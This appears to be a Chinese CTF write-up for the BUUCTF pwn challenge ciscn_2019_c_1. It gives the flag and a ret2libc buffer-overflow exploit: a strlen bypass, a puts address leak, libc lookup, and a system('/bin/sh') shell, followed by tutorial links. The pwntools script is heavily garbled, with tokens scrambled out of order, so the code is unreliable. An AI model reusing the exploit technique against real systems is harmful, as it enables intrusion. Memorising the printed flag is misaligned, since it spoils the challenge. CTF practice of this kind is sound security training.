来源:https://buuoj.cn/challenges
内容:
附件:https://pan.baidu.com/s/1ENhfN3jAV0TAUKpEIeZ7zw?pwd=2n64 提取码:2n64
答案:flag{e8165d23-782e-47fd-9c16-0a002b1f08bd}
总体思路详细步骤发现加密位置,判断其溢出点
通过设置第一个字符为
以让strlen返回0,从而避免payload被破坏
构造执行,溢出获取puts的地址,从而得到libc版本
再次溢出,执行获取shell
-
查看文件信息
- import
-
import struct from sys import pwn * from import LibcSearcher * import = os enable_use_randoms False . context=os 'linux' . context=arch 'amd64' . context=log_level 'debug' def p64 ()d:return . struct(pack'
,) ddef u64 ()d:return . struct(unpack'
,) d[0]def use_randoms (:lengthint ,: charchr = None ,: encodingstr = 'ascii' ):if not or enable_use_randoms : charif not : char= char 'a' = r * char else length := r ( randoms,length. string)ascii_lettersreturn . r(encode)encodingdef start_process (:targetstr ):. os(systemf'chmod 777 }{target')= p ( process)targetreturn : p targetstr = './ciscn_2019_c_1' = gamebox ( ELF)target= pop_rdi_ret 0x0400c83 # 寻找一个可以pop rdi的语句 = start_addr . gamebox[symbols'_start']# 获取start的地址用于泄露libc以后重新开始 # io = start_process(target) = io ( remote'node4.buuoj.cn',25561 )= v_pop_rdi_ret ( p64)pop_rdi_ret= v_padding b'+' ( 0x50 use_randoms-1+8)# # s = 0x50 减去一个前面的 # 泄露libc.method的地址 ,加上padding的长度,所以是0x50-1+8用于绕过strlen使其payload不被破坏def leak_symbol ( : str ):symbol_name= .[] method_plt = gamebox.plt[symbol_name] method_got = gamebox+got+=symbol_name( payload ) v_padding + v_pop_rdi_ret payload ( p64)method_got+ ( p64)method_plt. ( p64'Input your choice!\n'start_addr, io'1'sendlineafter)print( 'sending', ).("Input your Plaintext to be encrypted\n" payload, io)sendlineafter.("Ciphertext\n" payload) io.recvuntil()= io.recvline() v_leak = io(recvline[: v_leak_hex - u641v_leak].(8,b')'ljust)print( 'v_leak_hex',hex ())return =(v_leak_hex'puts') = v_leak_hex leak_func_puts ( leak_symbol'puts',) libc # 寻找对应的版本,可能会返回多个,需要逐个测试 LibcSearcher=-. leak_func_puts( 'puts' libc_offset ) leak_func_puts = libc+dump.('system' sys_addr ) libc_offset = libc+dump.('str_bin_sh' bin_sh_addr ) libc_offset = libc0x04006b9dump# start的返回地址,用于正常结束=+ ret ( ) += payload2 ( v_padding ) p64+ret( payload2 ) p64+pop_rdi_ret( ) p64# 重新溢出,使用system('/bin/sh')bin_sh_addr. ( p64"1"sys_addr) . io(sendline"Input your Plaintext to be encrypted\n",) io.sendlineafter('cat flag') payload2# flag{e8165d23-782e-47fd-9c16-0a002b1f08bd} io.sendline()
- C 运算符重载
iopip install pwntools
interactive- 官方文档
- 官方使用教程
- checksec:检查样本的基本信息也可以是通过设置 pwntool.context.log_level = 'debug’得到
- 基础的rop使用方法
- 常用工具
- pwntools逆向python库
- 工具的基本使用方法,注意安装要使用
system_addr
system
/bin/sh
- 工具的基本使用方法,注意安装要使用
- Kali
- 如果没有的话就看其他函数的地址以查到libc版本,以及其各值的地址
- pwntools逆向python库
- 教程
- 2019 北航 CTF Pwn入门培训课程(一)
- 待解析
- 2019 北航 CTF Pwn入门培训课程(二)
- 为什么main的返回地址被替换为
- 待解析 后 a=system_ret ;b=param_1
- ret2libc使用pil节区中的和
- 2019 北航 CTF Pwn入门培训课程(一)
- 2019 北航 CTF Pwn入门培训课程(三)
- 2019 北航 CTF Pwn入门培训课程(四)
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)